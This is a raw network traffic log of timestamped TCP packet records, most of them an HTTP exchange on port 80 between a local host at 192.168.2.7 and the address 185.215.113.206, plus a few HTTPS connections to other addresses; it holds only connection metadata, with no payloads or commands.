Nov 27, 2024 16:34:46.158756018 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.158807039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.158843994 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.158900976 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.159643888 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.159698009 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.159785986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.159985065 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.160568953 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.160631895 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.160665035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.160887957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.161465883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.161520958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.161560059 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.161602020 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.162378073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.162434101 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.162458897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.162578106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.163216114 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.163264990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.163330078 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.163371086 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.164324999 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.164390087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.164469957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.164524078 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.165210009 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.165328026 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.165363073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.165407896 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.166472912 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.166574955 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.166632891 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.166676998 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.167459011 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.167531967 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.167593002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.167665958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.168529034 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.168546915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.168586016 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.168601036 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.169347048 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.169393063 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.169465065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.169536114 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.170167923 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.170223951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.170258045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.170291901 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.171576023 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.171617985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.171649933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.171685934 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.172525883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.172641039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.172653913 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.172679901 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.173288107 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.173315048 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.173340082 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.173377991 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.174011946 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.174050093 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.174069881 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.174092054 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.174765110 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.174803019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.174815893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.175123930 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.175431013 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.175585985 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.175602913 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.175621986 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.176170111 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.176225901 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.176269054 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.176269054 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.176892042 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.176959038 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.176999092 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.177036047 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.177723885 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.177773952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.212713957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.212780952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.212786913 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.212913990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.213198900 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.213258028 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.213371038 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.213418007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.214181900 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.214237928 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.214297056 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.214466095 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.214951038 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.215004921 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.285135031 CET	49823	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.285152912 CET	49827	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.285154104 CET	49828	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.285156965 CET	49826	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:46.308247089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.308351040 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.308365107 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.308407068 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.308543921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.308589935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.361455917 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.482248068 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.814322948 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.814343929 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.814414024 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.814649105 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.814732075 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.814770937 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.814821005 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.815556049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.815598011 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.815623999 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.815665007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.816458941 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.816534996 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.816553116 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.816812992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.817369938 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.817430973 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.817462921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.817545891 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.818279028 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.818340063 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.818461895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.818583012 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.819164991 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.819267035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.819338083 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.820107937 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.820164919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.820183992 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.820225954 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.820959091 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.821011066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.821075916 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.821120977 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.821851969 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.821902990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.821954012 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.821994066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.822760105 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.822850943 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.822884083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.822922945 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.823676109 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.823724985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.823785067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.823838949 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.824687004 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.824742079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.824784040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.824831009 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.825560093 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.825603962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.825644970 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.825685024 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.826431990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.826572895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.826606989 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.826627016 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.827553988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.827608109 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.827657938 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.828438044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.828449965 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.828486919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.829197884 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.829252005 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.829291105 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.829340935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.830004930 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.830055952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.830117941 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.830185890 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.830909014 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.830960989 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.830976009 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.831022978 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.831935883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.832003117 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.832092047 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.832139015 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.833014965 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.833065033 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.833148956 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.833194971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.833899021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.833946943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.833952904 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.833985090 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.834800959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.834866047 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.834909916 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.834952116 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.835907936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.835995913 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.836002111 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.836041927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.836606026 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.836678028 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.836766958 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.836812973 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.837697983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.837821007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.837999105 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.838049889 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.838634968 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.838686943 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.838690042 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.838727951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.839435101 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.839485884 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.839519024 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.839567900 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.840030909 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.840106010 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.840153933 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.841003895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.841049910 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.841105938 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.841155052 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.841820002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.841871977 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.841906071 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.841969013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.842681885 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.842730045 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.842739105 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.842780113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.843559027 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.843648911 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.843674898 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.843715906 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.844461918 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.844535112 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.844713926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.844784021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.845426083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.845514059 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.845560074 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.846265078 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.846333981 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.846410990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.846455097 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.847177029 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.847347021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.847383022 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.847419977 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.848073959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.848129988 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.848148108 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.848223925 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.849081039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.849133968 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.849152088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.849189997 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.849899054 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.849960089 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.850003004 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.850035906 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.850819111 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.850881100 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.850914001 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.850958109 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.851788998 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.851861000 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.851885080 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.851907015 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.852579117 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.852637053 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.852679968 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.852724075 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.853498936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.853620052 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.853667021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.854424000 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.854500055 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.854521036 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.854540110 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.855318069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.855360031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.855436087 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.855545998 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.856221914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.856344938 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.856352091 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.856468916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.857140064 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.857214928 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.857260942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.858071089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.858248949 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.858274937 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.858290911 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.858920097 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.858963013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.858998060 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.859055042 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.859899044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.859956026 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.859966040 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.859996080 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.860804081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.860876083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.860894918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.860913038 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.861839056 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:46.861927032 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:46.992625952 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:46.992676020 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:46.992877007 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:46.993128061 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:46.993145943 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:47.015747070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.015782118 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.015825033 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.015866995 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.015990973 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.016028881 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.016053915 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.016068935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.016844988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.016891956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.016927004 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.016968012 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.017816067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.017870903 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.017887115 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.017929077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.018667936 CET	80	49777	185.215.113.206	192.168.2.7
